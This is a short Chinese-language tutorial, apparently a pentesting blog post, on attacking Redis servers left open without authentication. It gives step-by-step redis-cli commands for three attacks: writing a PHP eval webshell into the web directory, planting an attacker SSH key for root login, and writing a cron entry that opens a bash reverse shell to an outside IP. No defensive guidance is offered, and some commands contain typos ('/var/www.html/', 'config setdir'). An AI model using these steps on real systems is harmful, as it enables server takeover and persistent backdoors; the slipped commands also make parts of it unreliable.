赞
踩
这个漏洞造成原因是因为配置不当的问题,没有非常复杂的原理。这个漏洞一般位于内网之中,能利用好Redis漏洞往往能够顺利拿下服务器权限,所以也还是很重要的。
目录
Redis是一款内存高速缓存的数据库,是一款K-V型数据库,它的所有键值都是用字典来存储的。其中它的value支持多种数据类型,包括String、List、Set、Zset和Hash。
这将导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
Redis2.x-5.x
一般使用nmap工具对目标机器进行扫描。如果发现主机的6379端口是对外开放的,并且目标主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目标服务器。
redis-cli -h 服务器ip
eval()是用来执行一个字符串表达式,并返回表达式的值。
lua是一种脚本语言,用C语言编写,源码开放,其设计目的是为了嵌入程序应用,为应用程序提供便利的拓展功能。
Redis为了持久化连接,将数据保存在了本地。那么攻击者可以将后门代码作为value值,写入web目录下的.php文件,就可实现php的webshell。
这时候攻击者可以通过Redis写入webshell。
以下为举例:
- config set dir /var/www.html/ #切换到web写入目录
- config set dbfilename zcc.php #设置写入木马的文件名
- set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n" #写入恶意代码到内存中,这里的换行符是必要的,因为用Redis写入文件会自带一些版本信息,如果不换行可能执行不了
- save #将内存中的数据导出到磁盘
在Redis数据库中插入一条数据,将本机的公钥作为value,然后通过修改数据库的默认路径为/root/.ssh(ssh文件夹)和默认的缓冲文件authorized.keys(公钥文件),把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
即可远程写入一个公钥,直接登录远程服务器。
- ssh-keygen -t rsa
- config set dir /root/.ssh
- config set dbfilename authorized_keys
- set x "\n\n\nssh-rsa ...公钥...\n\n\n"
- save
连接:
ssh -i id_rsa root@ip
在数据库中插入一条数据,将计划任务的内容作为value值,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以一个计划任务进行反弹shell。
- set x "\n\n****bash -i >& /dev/tcp/xx.xx.xx.xx/8089 0>&1 \n\n"
- config setdir /var/spool/cron
- config set dbfilename root
- save
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。